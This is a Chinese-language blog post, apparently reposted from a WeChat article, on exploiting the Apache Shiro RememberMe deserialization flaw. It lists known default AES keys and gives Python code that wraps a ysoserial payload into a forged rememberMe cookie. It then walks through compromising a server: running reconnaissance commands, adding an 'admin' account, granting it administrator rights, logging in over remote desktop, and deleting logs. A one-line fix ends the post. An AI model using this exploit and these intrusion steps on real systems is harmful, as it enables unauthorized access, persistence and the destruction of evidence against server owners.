Apache Shiro反序列化漏洞利用
原文链接:https://mp.weixin.qq.com/s/6tUPrLGL0qCL01hlCJyWoA
◐关于Shiro
Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理.
Shiro提供了RememberMe的功能,当用户关闭浏览器,下次再打开浏览器访问时,还是能记住我是谁,无需登录即可访问。其实很多网站都有这功能,Shiro对RememberMe的Cookie做了加密处理,在CookieRememberMeManaer类中将Cookie中RememberMe字段内容分别进行序列化、AES加密、Base64编码等操作,但是默认的加密AES Key是硬编码进去的,都知道这个Key是什么,所以在逆向操作反序列化、Base64解密的时候,攻击者就可以伪造恶意数据通过反序列化远程执行命令。
◐关于Key
常见的Key:
kPH+bIxk5D2deZiIxcaaaA==(1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
fCq+/xW488hMTCD+cmJ3aQ==
1QWLxg+NYmxraMoxAXu/Iw==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==
......
利用Key生成rememberMe参数值python代码:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command): #ysoserial-0.0.6-SNAPSHOT-all.jar #文件需要在该文件目录
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
■ 实例
1.判断是否使用了Apache Shiro,登录抓包通过返回可看到 rememberMe=deleteMe信息,确定使用Apache Shiro。其他判断方式可以在登录页面时,提交表单后看set-cookie是否存在remeberMe=deleteMe。
2.使用已知的Key生成rememberMe参数值插入到cookie中进行提交,测试是否存在漏洞。这里使用写好的jar插件,可以在Burpsuite安装扩展插件,可以方便利用存在的Key进行生成shiro payload进行测试是否存在漏洞。
3.测试使用key:fCq+/xW488hMTCD+cmJ3aQ==生成payload成功执行命令:whoami,返回administrator,知道服务器当前用户是administrator权限,应该是windows系统。执行命令:systeminfo查看系统信息,系统为Windows Server 2012 R2。
4.执行ipconfig查看网络配置信息,查看到服务器IP公网开放。执行命令:netstat -an查看端口开放情况,看到3389端口开放,可能开启了远程桌面连接。
5:执行命令:tasklist /svc查看svchost.exe进程下termservice服务对应的PID为3076
6.执行命令netstat -ano查看PID:3076对应的端口为3389,确实开启了远程桌面连接。
7.执行命令:net user 查看到当前用户。
8.执行命令:net user admin admin /add新建一个用户,由于编码问题返回结果不清晰,执行命令:net user 查看有没有成功,看到多了一个admin用户。
9.执行命令:net localgroup Administrators admin /add将刚刚新建的用户提升为管理员权限。
10.打开远程桌面连接,连接服务器,使用刚刚新建好的用户进行登录,成功登录到服务器。删除日志退出,删除新建用户。
■ 修复方案
1、进行版本升级。